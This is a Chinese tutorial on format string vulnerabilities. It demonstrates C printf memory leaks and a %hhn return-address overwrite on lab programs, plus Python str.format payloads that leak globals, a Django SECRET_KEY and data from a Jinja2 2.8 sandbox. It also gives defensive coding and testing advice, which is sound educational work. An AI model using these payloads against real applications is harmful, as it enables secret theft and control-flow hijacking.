        可以理解printf根据format字符串中的specifier占位符,依次获取从第二个开始参数的值。format字符串中前6个要显示的参数直接从对应的寄存器中取,后续的参数依次从栈中获取,每个参数相隔8个字节

           上述一切似乎很正常,因为如果有确定的format字符串,一般开发时后续的可变参数列表就会提供一致数量的变量。但是如果format字符串变得可控,例如format字符串中的specifier个数超过了程序可变参数列表变量数量,将会怎样?

    3 读取内存-信息泄露

    • 原理

    我们考虑如下情形:

    #include <stdio.h>
    
    
    
    int main(void)
    {
            getchar();
            int data1 = 0x0100;
            char str2[12] = "hello world";
            int data3 = 0xFFF3;
            int data4 = 0xFFF4;
            int data5 = 0xFFF5;
            int data6 = 0xFFF6;
            printf("  output %hhd,%s,%d,%d,%d,%d,%x,%x,%x\n",data1,str2,data3,data4,data5,data6);
            return 0;
    }

    上述format中需要9个变量来格式化字符串,而实际可变参数列表仅提供了6个参数,其中:

    data1,str2,data3,data4,data5的值分别存储在寄存器rsi,rdx,rcx,r8,r9中

    data6存储在栈中。

    最后三个%x无变量提供数据,我们运行该程序输出如下所示:

    发现程序运行正常,并且正常输出了值。那么输出的值来自何处?我们对该程序进行调试查看。

           汇编运行到调用printf处:

    查看此时的程序栈信息:

    从栈信息可以看出:

    1. 栈顶位置保存的就是第七个参数,printf打印时该出的值被使用
    2. 同时发现上述多出三个格式化specifier对应的值就是栈顶第七个参数保存位置后面连续出现的数据。因为64bits环境中以8字节为单位,而%x显示的是int,所以程序的结果

    输出的分别就是0和上述绿色框

    结论:

    从上述可以看出若格式化函数中多出需要格式化的specifier时,会直接解析printf栈中保存参数的后续内容,如上所述。

           所以可以知道如果用户可控format参数,拼接的format中恶意增加超过预期数量的specifier时,则内存数据将被泄露。

    • 简单利用-读取敏感信息

    所以如果程序想要使用格式化字符串函数例如printf函数输出用户的输入,如果类似下述代码就会产生上节的问题:

    #include <stdio.h>
    
    int main(void)
    {
            char str[50];
            scanf("%s\n",str);
            printf(str);
            return 0;
    }

    例如用户输入如下以及显示:

    如上所示,格式化字符串要显示第六个参数,此时直接解析到了用户输入的字符串的栈区地址,如果直接往下进行输出,若栈中有敏感数据则敏感数据被获取,同时也能得到程序的函数返回地址,从而进一步可以绕过ASLR的措施。

    既然可以通过可控的格式化字符串format参数进行内存数据泄露,下述给出查看任意地址的内存数据的format构造方法。

    例如像如下代码所示,main函数中模拟通过recv获取网络数据,程序意图将获取的数据直接使用printf打印,其中存在敏感数据secret。代码如下所示:

    #include <stdio.h>
    
    #define SECRETLENTH 10
    #define MSGLENTH 50
    
    char secret[SECRETLENTH] = "password";
    
    void recv(char *format,unsigned int lenth )
    {
            FILE *fp = NULL;
            fp = fopen("formatArbiReadMsg.bin","rb");
            int pos = 0;
            while(!feof(fp))
            {
                    format[pos] = getc(fp);
                    pos++;
                    if(pos >= lenth)
                            {
                                    break;
                            }
            }
    }
    
    int main(void)
    {
            getchar();
            char str[MSGLENTH] = {0};
            recv(str,MSGLENTH);
            printf(str);
            printf("\n");
            secret[0] = 'w';
            return 0;
    
    }

    上述代码printf直接打印format格式化字符串,format参数可控,可以泄露内存数据。利用下述的payload可以泄露上述代码中的敏感数据secret

     

    上述红色框为specifier,指定取第七个参数解析字符串:第七个参数为地址并显示该地址处的字符串。而根据栈数据布局分析,第七个数据未上述绿色框部分(64bit os下内存单位为8 bytes),所以在此处填入该进程可访问的任意地址均可以访问(因为%s可能因为0截断)。上述案例中输入了secret的地址,运行后可以获取secret密码:

     

     

     

    4 写内存

    • 原理

           能实现地址写的问题要使用到上述1.1.1 specifier章节所示的“%n” :将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置。看如下例子:

    #include <stdio.h>
    
    int main(void)
    {
            int c = 0;
            printf("Hello World%n", &c);
            printf("%d\n", c);
            return 0;
    }

    %n前面有11个字符,最终c被写入了11这个数字,所以运行结果如下所示:

     

    如果想要指定c的值例如100,当然可以在%n前面注入100个字符,输入将是复杂的:

    “aaaaaaaaaaaa…….aaaaaaaaaa%n”(其中有100个a)

    但是有一种更好的方式,可以使用1.1中讲述的[width]标识:自定义打印字符串的宽度,不足该宽度使用空格替换。例如下述程序和输出:

    #include <stdio.h>
    
    int main(void)
    {
            int data = 12;
            printf("%101d%n", data,&data);
            printf("\nthe value of data: %d\n", data);
            return 0;
    }

    输出为:

     

    这样,一方面输入较方便;另一方便也减少了输入的字符串量,如果程序提供保存format字符串的空间有限的情况,该方法就突显优势。

    也可以如下仅精确在某个地址写入一个字节数据:

    #include <stdio.h>
    
    int main(void)
    {
            char c = 'A';
            int n = 0;
            printf("%257c%hhn\n",c,&n);
            printf("%d\n", n);
            return 0;
    }

    输出:

     

    输出1是因为仅写入一个自己的数据到变量n中,由于%n前输出257个字节(二进制1 0000 0001),则低位字节就是1。

    根据前文1.2.2所述的格式化字符串的解析原理可知,如果在1.2.3节中如数带有含%n的format则可以达到向某地址写入的功能。 具体的:

    1、%n指向的栈区中保存的数据会被解析为一个地址A

    2、计算printf的%n前面输出的字符数量C

    3、将数据C写入A地址指向的内存、

    所以重点就是如何构造format中的%n指向栈的第几块以及给出想要写入的值。可以看下节利用过程帮助理解。

    • 简单利用

           依然使用1.2.3节的代码,稍作删改:

    #include <stdio.h>
    #include <string.h>
    
    #define MSGLENTH 100
    
    int recv(char *format,unsigned int lenth )
    {
            FILE *fp = NULL;
            fp = fopen("formatArbiWriteMsg.bin","rb");
            int pos = 0;
            while(!feof(fp))
            {
                    format[pos] = getc(fp);
                    pos++;
                    if(pos >= lenth)
                            {
                                    break;
                            }
            }
            return pos;
    }
    
    void printMsg()
    {
            char msg[MSGLENTH] = {0};
            char end[]= "%c";
            int recvCount = recv(msg,MSGLENTH);
            memcpy(&msg[recvCount-1],end,strlen(end));
            char c = '!';
            printf(msg,c);// #1
            return; // #2
    }
    
    int main(void)
    {
            getchar();
            printMsg();
            printf("done!\n");// #3
            return 0; // #4
    }

    对该程序使用GDB调试,模拟程序运行并方便我们查看汇编和内存数据。

    formatArbiWriteMsg.bin内容如下所示:

     

    先不用理解其中数据的含义,后续将揭开神秘面纱。

    运行到#1处代码:

    查看当前rbp和rsp,并显示当前栈帧内容:

     

     

    可以看出栈顶开始就是formatArbiWriteMsg.bin内容,所以字符数组msg的起始位置就是栈顶开始位置。0x00007fffffffe050为rbp位置,所以当前函数返回地址被保存在0x00007fffffffe058,即红色框部分。

    运行到#2处代码,查看此时的栈帧内容:

     

    发现返回地址低字节被修改b6-》C0。0x4008c0其实就是main函数的return 0语句。

    所以看到此时栈的变化,就可以知道函数返回时将绕过#3处的语句。而实际运行结果也是。此处对特定地址内存进行了修改改变了程序的执行流程。

    下面解释下上述的payload:

     

    红色框代表显示192宽度的字符

    绿色框指定找到栈中第8个参数,并把前面输出的宽度值即192(Hex:C0)写入到该参数表示的地址位置,且仅写一个字节(hh)

    黄色框就是第八个参数的位置,该位置填入了rip存储的位置

    绿色线是为了让黄色框内容位于第八个参数而增加的填充位。

    所以程序运行时该数据就会让rip的值修改到return 0语句地址,从而改变执行流程。

     

    5 安全编码建议

    1、调用格式化函数时,禁止format参数由外部可控。调用格式化函数时,如果format参数由外部可控,会造成字符串格式化漏洞。这些格式化函数有:

    1. 格式化输出函数:xxxprintf
    2. 格式化输入函数:xxxscanf
    3. 格式化错误消息函数:err(),verr(),errx(),verrx(),warn(),vwarn(),warnx(),vwarnx(),error(),error_at_line();
    4. 格式化日志函数:syslog(),vsyslog()。

    2、若必须format参数用户可控,必须对用户输入的数据进行校验,过滤或者编码其中的所有“%”,禁止用户输入使用specifier格式化功能。注:可能开发人员会存在删除其中的%d类似这种,但是恶意用户可通过%%dd绕过。建议所有出现的%编码或者转义成其它字符

    3、若用户可使用specifier功能,则必须确保format参数中specifier的个数和可变参数列表的变量个数保持一致,并且检查类型符合预期。

     

    6 安全测试建议

    该问题的发现通过源码审计更佳:

    1. 找到所有格式化字符串函数使用的地方:pintf、sprintf、snprintf、scanf等格式化字符串的函数
    2. 查看format 参数是否外部可控
    3. 若可控可按上述原理进行合适的利用

    0x02 Python格式化字符串漏洞

    一、实验环境

    Python :2.7.18

    OS:windows10 64bits

    Django:1.10

     

    二、格式化字符串用法

    Python 2.6之前格式化format字符串的写法和C中的类型,都是使用%进行表示specifier,例如:

    %10.2s——10位占位符,截取两位字符串。

    Python 2.6后使用{}取代了%,但依然仍然也可以使用,效果是一致的。详细的python格式化字符串用法见:https://docs.python.org/release/2.6/library/string.html#formatstrings

    format_spec ::=  [[fill]align][sign][#][0][width][.precision][type]

    下面通过简单的例子帮助读者理解用法,例子均使用了新用法:

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    
    print "{} {}".format("hello", "world")
    print "{0} {1}".format("hello", "world")
    print "{1} {0} {1}".format("hello", "world")
    
    print "姓:{firstname}, 名: {secondname}".format(firstname="张", secondname="三")
    
    
    # 通过字典设置参数
    site = {"firstname": "张", "secondname": "三"}
    print("姓:{firstname}, 名: {secondname}".format(**site))
    
    # 通过列表索引设置参数
    my_list = ['张三', '李四']
    print("{0[0]}, {0[1]}".format(my_list))
    
    # 也可以传入对象
    class AssignValue(object):
        def __init__(self, value):
            self.value = value
    
    my_value = AssignValue(6)
    print('value 为: {AV.value}'.format(AV=my_value))

    输出:

    上述能够在format模板串中访问对象的属性将是后文介绍Python格式化字符串漏洞的起因

     

    三、格式化字符串漏洞

    1 类C/C++格式化字符串漏洞研究

    C/C++格式化字符串中漏洞包含:

    • 内存数据泄露:通过超过可变参数列表范围读取数据。

    在python中试探发现如下结果:

    从现象可以发现,python严格检查了format中的占位specifier数量必须不能超过可以索引的范围,实际这也是前文对C/C++安全编码的建议。Python提供的该格式化函数已经为用户做了此层防御,无类似C/C++通过过多的或超出可变参数范围的specifier造成内存信息泄露的现象。

    • 内存写数据:通过%n向指定内存写数据

    通过阅读Python 的官方开发手册,没有发现任何类似C/C++同通过%n的specifier 可以对指定地址写入的操作,仅仅作为输出到格式化字符串的功能。所以对于内存写的风险是没有的。

     

     

    2 Python格式化字符串问题

    根据上节分析,Python格式化字符串的过程中是没有类似C/C++相似原理的漏洞。然而由于Python2.6以后的版本给出了功能更强大的format方法,而该方法允许访问内嵌的数据结构,format可用访问Python对象的属性,这给Python在格式化字符串中产生了另一种信息泄露的风险。

    • 2.1 未最小化开放的范围导致的信息泄露

           示例代码如下所示:

    def formatInfoDisclosureView(request):
        request.user.username = 'admin'
        request.user.password = 'mima'
        template = 'Hello {user.username}, This is your email: ' + request.GET.get('email')
    
        return HttpResponse(template.format(user=request.user))

    代码开始设置了当前请求用户的账户名和密码,模拟当前登录的用户。然后使用格式化字符串显示用户的信息,正常情况如下

    从代码看出email字段被直接拼接如format模板格式字符串,由于format参数中带入了整体的request.user对象,所以url构造如下:

     

    获取到敏感信息的password信息,而本应该信息设计意图不能让用户知道。

    1. 开发者错误的放大了对象的范围
    2. 并且使得用户可控format字符串

    所以防御方式显而易见:

    1. 用户不可控format字符串
    2. Format参数仅提供需要的范围,精细化参数。例如template.format(user=request.user)变为template.format(user=request.user.username)
    • 2.2 通过对象内建属性造成信息泄露

    Python中的对象(python中函数也是对象)一般都包含着一些隐藏属性和方法,并能够通过这些属性和方法访问到敏感信息。

    • 2.2.1前提知识储备

    内建对象和方法

    Python中每个函数和类对象都包含内建的魔法属性和方法,通过dir函数查看函数和类的内建属性:

     

    类和其实例内建属性和方法是一样的。

    整理其中的内建属性:

    a、类的内建属性有

    '__class__', '__dict__', '__doc__', '__module__', '__weakref__'

    这边简单介绍几个:

    __class__:返回当前对象实例的类:

     

    b、函数的内建属性有

    '__annotations__', '__class__', '__closure__', '__code__', '__defaults__', '__dict__','__doc__', '__kwdefaults__', '__module__', '__name__','__qualname__',__globals__

    这边简单介绍几个:

    __globals__函数对象的属性返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。例如:

     

    最明显的因为globalVar为全局变量,函数fun能够访问,所以globalVar变量位于fun函数的全局dict中

    内建属性和方法含义讲解详情见: https://www.jianshu.com/p/cfda0b76501c。或者咨询到python官方文档查看功能作用。

    Python函数、类理解

    在 Python 中万物皆为对象,所以类中的成员函数也是对象,所以你可以看到使用{class}.__init__获取构造函数这个对象。

    class EventBase(object):
       def __init__(self, id):
                      self.id = id
    
    class Event(EventBase):
       def __init__(self, id, level, message):
                      self.level = level
                      self.message = message
                      super(Event,self).__init__(id)
    
    print dir(Event)
    print Event.__init__.__class__

    • 2.2.2、简单的案例如下所示:
    Password = 'i am mima'
    
    class Event(object):
       def __init__(self, id, level, message):
                      self.id = id
                      self.level = level
                      self.message = message
    
    def format_event(format_string, event1):
       return str(format_string).format(event=event1)
    
    event = Event(1, 1, "2012 lab")
    _user_input = raw_input('Please input:')
    #{event.__init__.__globals__[Password]}
    privacy_data = format_event(_user_input, event)
    print(privacy_data)

    正常输入可以显示Event各对象属性值,但是用户构造如下Payload将泄露出Password全局变量的值:

    #{event.__init__.__globals__[Password]}

     

    因为__init__构造含有内建属性__globals__,而该属性表示函数能够访问到的变量和方法,所以也就能访问到全局变量。

    防御的思想也很简单通过某种黑白名单限制用户可以访问对象的属性,下面的方案重新封装了一个格式化函数:

    from string import Formatter
    from collections import Mapping
    
    
    class MagicFormatMapping(Mapping):
        # This class implements a dummy wrapper to fix a bug in the Python
        # standard library for string formatting.
        def __init__(self, args, kwargs):
            self._args = args
            self._kwargs = kwargs
            self._last_index = 0
    
        def __getitem__(self, key):
            if key == '':
                idx = self._last_index
                self._last_index += 1
                try:
                    return self._args[idx]
                except LookupError:
                    pass
                key = str(idx)
            return self._kwargs[key]
    
        def __iter__(self):
            return iter(self._kwargs)
    
        def __len__(self):
            return len(self._kwargs)
    
    
    # This is a necessary API but it's undocumented and moved around
    # between Python releases
    try:
        from _string import formatter_field_name_split
    except ImportError:
        formatter_field_name_split = lambda x: x._formatter_field_name_split()
    
    
    class SafeFormatter(Formatter):
        def get_field(self, field_name, args, kwargs):
            first, rest = formatter_field_name_split(field_name)
            obj = self.get_value(first, args, kwargs)
            for is_attr, i in rest:
                if is_attr:
                    obj = safe_getattr(obj, i)  # #1
                else:
                    obj = obj[i]
            return obj, first
    
    
    def safe_getattr(obj, attr):
        # Expand the logic here. For instance on 2.x you will also need
        # to disallow func_globals, on 3.x you will also need to hide
        # things like cr_frame and others. So ideally have a list of
        # objects that are entirely unsafe to access.
        if attr[:1] == '_':  # #2
            raise AttributeError(attr)
        return getattr(obj, attr)
    
    
    def safe_format(_string, *args, **kwargs):
        formatter = SafeFormatter()
        kwargs = MagicFormatMapping(args, kwargs)
        return formatter.vformat(_string, args, kwargs)
    
    
    Password = 'i am mima'
    
    
    class Event(object):
        def __init__(self, id, level, message):
            self.id = id
            self.level = level
            self.message = message
    
    
    event = Event(1, 1, "2012 lab")
    print(safe_format('{0.message}', event))
    print(safe_format('{0.__init__.__globals__[Password]}', event))

    输出结果:

     

    上述代码继承了Formatter,并且重写了get_field函数,刚方法仅有一处变动:

    而在变更的该函数中,正如上述代码#2位置处,程序判断了如果属性开头包含”_”则抛出异常,这样就防止了内建属性的调用。所以在此处也可以增加其他类型的不可访问字段。

     

     

    三、案例展示

    1、 利用格式化字符串漏洞泄露Django配置信息

    使用前文的代码:

    def formatInfoDisclosureView(request):
        request.user.username = 'admin'
        request.user.password = 'mima'
        template = 'Hello {user.username}, This is your email: ' + request.GET.get('email')
    
        return HttpResponse(template.format(user=request.user))

    前文通过可控的格式化字符串获取了request.user其它的敏感属性,但是一般情况开发人员不会把敏感对象直接使用,所以也就不能从本身对象包含的属性进行敏感信息泄露。

           考虑到上节可通过内置对象获取全局的一些信息,可通过下述payload获取Django的

    http://10.164.146.143:8000/info/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

    获取到Django配置settings文件里面的密钥:

    2、Jinja 2.8.1 模板沙盒绕过

    Jinja2是一个在Python web框架中使用广泛的模板引擎,可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI(模板注入漏洞)时引入了沙盒机制,也就是说即使模板引擎被用户所控制,其也无法绕过沙盒执行代码或者获取敏感信息。

    Jinja2沙箱对于模板中访问不安全的属性和方法是被禁止的。

    但由于format带来的字符串格式化漏洞,导致在Jinja2.8.1以前的沙盒可以被绕过,进而读取到配置文件等敏感信息

    安装jinja有问题的版本2.8:

    编写如下代码:

    from jinja2.sandbox import SandboxedEnvironment
    
    class Account(object):
        def __init__(self, name):
            self.name = name
    
    env = SandboxedEnvironment()
    passwd = 'mima'    
    t = env.from_string('{{ "{0.__class__.__init__.__globals__}".format(user) }}')
    ret = t.render(user=Account('joe'))
    print ret

    其中:

    沙箱的该方法不允许访问不安全的属性和方法。

    但是上述代码通过格式化字符串绕过了沙箱的机制,访问到了全局属性和方法,包括其中敏感信息:

     

     

    四、安全测试建议

    1. 全文搜索format函数,并确认是实现格式化字符串的功能
    2. 查看format字符串是否可被外部可控或部分可控
    3. 若外部可控,查看是否存在校验和过滤

     

     

     

    五、 安全编码建议

    上述在讲解漏洞时已经给出了详细的解决方案,此处不再赘述

    展开全文
  • 树莓派TF低格,存储空间还原

    万次阅读 2017-08-09 15:00:40
    SDFormatter是树莓派官方推荐的TF卡格式化工具,很好用。 但是,当使用SDFormatter对TF卡尝试格式化时程序提示“你所选择的存储媒介处于禁止写入状态”,怎么办? TF本来为16G的存储空间。 正常格式化步骤如下...
  • 硬盘接口类型 硬盘的接口主要有 IDE、SATA、SCSI、SAS 和光纤通道等五种...SCSI、SAS 主要应用于服务器上,普通家用设备一般支持 SCSI 和 SAS 接口。SAS 也是一种新生的硬盘接口类型,可以和 SATA 以及部分 SCSI...
  • 实验:格式化输出——覆写内存

    千次阅读 2015-03-17 09:30:02
    《C和C++安全编码》152...最初%n是用来帮助排列格式化输出字符串的。它将字符数目(%n之前)输出到以参数的形式提供的整数地址中。 攻击者可以通过使用具有具体的宽度或精度的转换规范来控制写入的字符个数。 如:...
  • 格式化字符串小实验

    千次阅读 2015-11-07 19:12:19
    在论文里看到格式化字符串攻击的说明,...这里只测试了一下%x和%n参数,更多种类的格式化字符串攻击请查阅其他资料。至于测试的环境,应当是C编译环境都可以,但是在实验过程中,我发现dev c++默认不对%n进行预期操
  • 硬盘的格式化

    千次阅读 2014-03-17 02:04:57
     碰到了格式化的问题,DM,PQ,DOS-FDISK,SMART-FDISK等,还把姐夫的老电脑拿来搞,呵!^_^~~      电脑的数据和资料都是存储在硬盘着个设备上的,对于用户来说硬盘是很重要的一个“数据库”,如果这个设备出现故障...
  • 大家都只读sd内存卡如果能用了,比如电脑读...而这种一般表现就是用SDFormatter等工具都直接提示:你选择的存储媒介处于禁止写入状态,这时候我们就可以试试用比较另类的解决方案来试试运气,经过很多朋友的使...
  •  需要自定义保存的文件名的话,就需要我们重新对输出的文件的方式进行一个格式化,也就是说能够使用系统默认的输出文件的方式,需要我们自定义输出格式,需要重写outputFormat类。 示例:  需求:需要将...
  • 在过去的几年中,在写入容量方面,我遇到了瓶颈,并在不同的 ES 群集上犯了许多错误。 尤其是其中一项要求是写入具有严格 SLA 的实时索引以进行读取操作时。 如果你在生产环境中使用 Elasticsearch,很可能你也已经...
  • 导读:谈到找到,我们很多人都了解,有朋友问bios里找到硬盘启动,当然了,还有人想问联想台式机bios设置u盘启动,这到底是咋回事?事实上bios找到硬盘完美解决方法呢,下面就由小编为大家介绍一下bios找到...
  • ARMv7中 KVM对虚拟的实现(上篇)

    千次阅读 2018-12-27 18:50:45
    摘要 ARM架构的CPU在移动设备和服务器中使用得越来越普遍,为基于ARM架构的设备提供虚拟的新需求也...我们介绍了构建Linux ARM hypervisor KVM/ARM的经验,这是第一个完整的ARM虚拟系统解决方案,可以在ARM多...
  • ARMv7中 KVM对虚拟的实现(中篇)

    千次阅读 2018-12-27 18:52:30
    使用HYP模式运行Linux内核进行虚拟时存在的这些问题在x86架构的虚拟中并存在。x86的root模式与其CPU特权模式正交。整个Linux内核可以作为系统管理程序在root模式下运行,因为相同的资源在non-root模式下和root...
  • 常见的Web漏洞——反序列漏洞

    万次阅读 2021-04-19 16:53:50
    例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。 反序列:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件...
  • 因此,我们需要向传统的关系型数据库一样对数据进行备份,将Redis在内存中的数据持久到硬盘等非易失性介质中,来保证数据的可靠性。将Redis内存服务器中的数据持久到硬盘等介质中的一个好处就是,使得我们的...
  • Redis的持久机制

    万次阅读 2021-01-17 02:01:11
    Redis是一个基于内存的数据库,...快照是内存数据的二进制序列形式,在存储上非常紧凑,而 AOF 日志记录的是内存数据修改的指令记录文本。 一、RDB机制: RDB快照就是把数据以快照的形式保存在磁盘上,是某个..
  • Windows延缓写入失败:Windows无法为某盘某文件保存所有数据,数据已经丢失。这个错误可能是由于您的计算机硬件或网络连接的失败导致的。 提示“Windows-延缓写入失败”,一般都是由于硬盘坏道故障引起的。可以挂...
  • MySQL安全你知道的事

    万次阅读 多人点赞 2020-11-30 11:35:49
    多得是,你知道的事
  • SD初始以及命令详解

    千次阅读 2014-10-06 20:50:11
    SD卡是嵌入式设备中很常用的一种存储设备,体积小,容量大,通讯...的存储卡。 SD 卡和 MMC 卡的区别在于初始过程不同。SD卡并不是我们通常意义上的手机扩展卡,那种卡叫做TF卡,但是通讯以及驱动模式是类似的. SD 卡
  • Redis 面试题 1、什么是 Redis?. 2、Redis 的数据类型? 3、使用 Redis 有哪些好处?...7、一个字符串类型的值能存储最大容量是多少? 8、Redis 的持久机制是什么?各自的优缺点? 9、Redis 常见性...
  • redis中RDB和AOF两种持久方式的比较

    千次阅读 2019-06-25 16:11:52
    1、RDB持久机制 就是我们俗称的备份,他可以在定期内对数据进行备份,将Redis服务器中的数据持久到硬盘中; 文件格式是:dump.rdb 快照持久通用的配置: RDB持久的工作流程: Redis根据配置自己尝试...
  • 从严格意义上说,Redis服务提供四种持久化存储方案:RDB、AOF、虚拟内存(VM)和DISKSTORE。虚拟内存(VM)方式,从Redis Version 2.4开始就被官方明确表示不再建议使用,Version 3.2版本中更找到关于虚拟内存(VM...
  • SD文件读取

    千次阅读 2022-01-16 13:28:04
    SD存储卡是一种基于半导体快闪记忆器的新一代记忆设备,由于它体积小、数据传输速度快、可热插拔等优良的特性,被广泛地于便携式装置上使用,例如数码相机、平板电脑和多媒体播放器等。 2.结构 SD卡接口除了保留MMC...
  • Redis之AOF持久

    万次阅读 2020-07-19 15:06:20
    RDB持久是将进程数据写入文件,而AOF持久(即Append Only File持久),则是将Redis执行的每次写命令记录到单独的日志文件中(有点像MySQL的binlog);当Redis重启时再次执行AOF文件中的命令来恢复数据。 与RDB...
  • redis——持久

    千次阅读 多人点赞 2019-04-18 23:12:40
    因为redis是内存数据库,他把数据都存在内存里,所以要想办法实现持久功能。 RDB RDB持久可以手动执行,也可以配置定期执行,可以把某个时间的数据状态保存到RDB文件中,反之,我们可以用RDB文件还原数据库...
  • 这可能是 S7-1500 CPU 认为SIMATIC 存储卡是写保护状态。进行以下步骤来确定原因。 1、首先检查 SIMATIC 存储卡的写保护开关是否设置在写保护的位置。做这个检查必须将 SIMATIC 存储卡从 S7-1500 CPU 中取出。...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 44,215
精华内容 17,686
关键字:

内存格式化不了显示禁止写入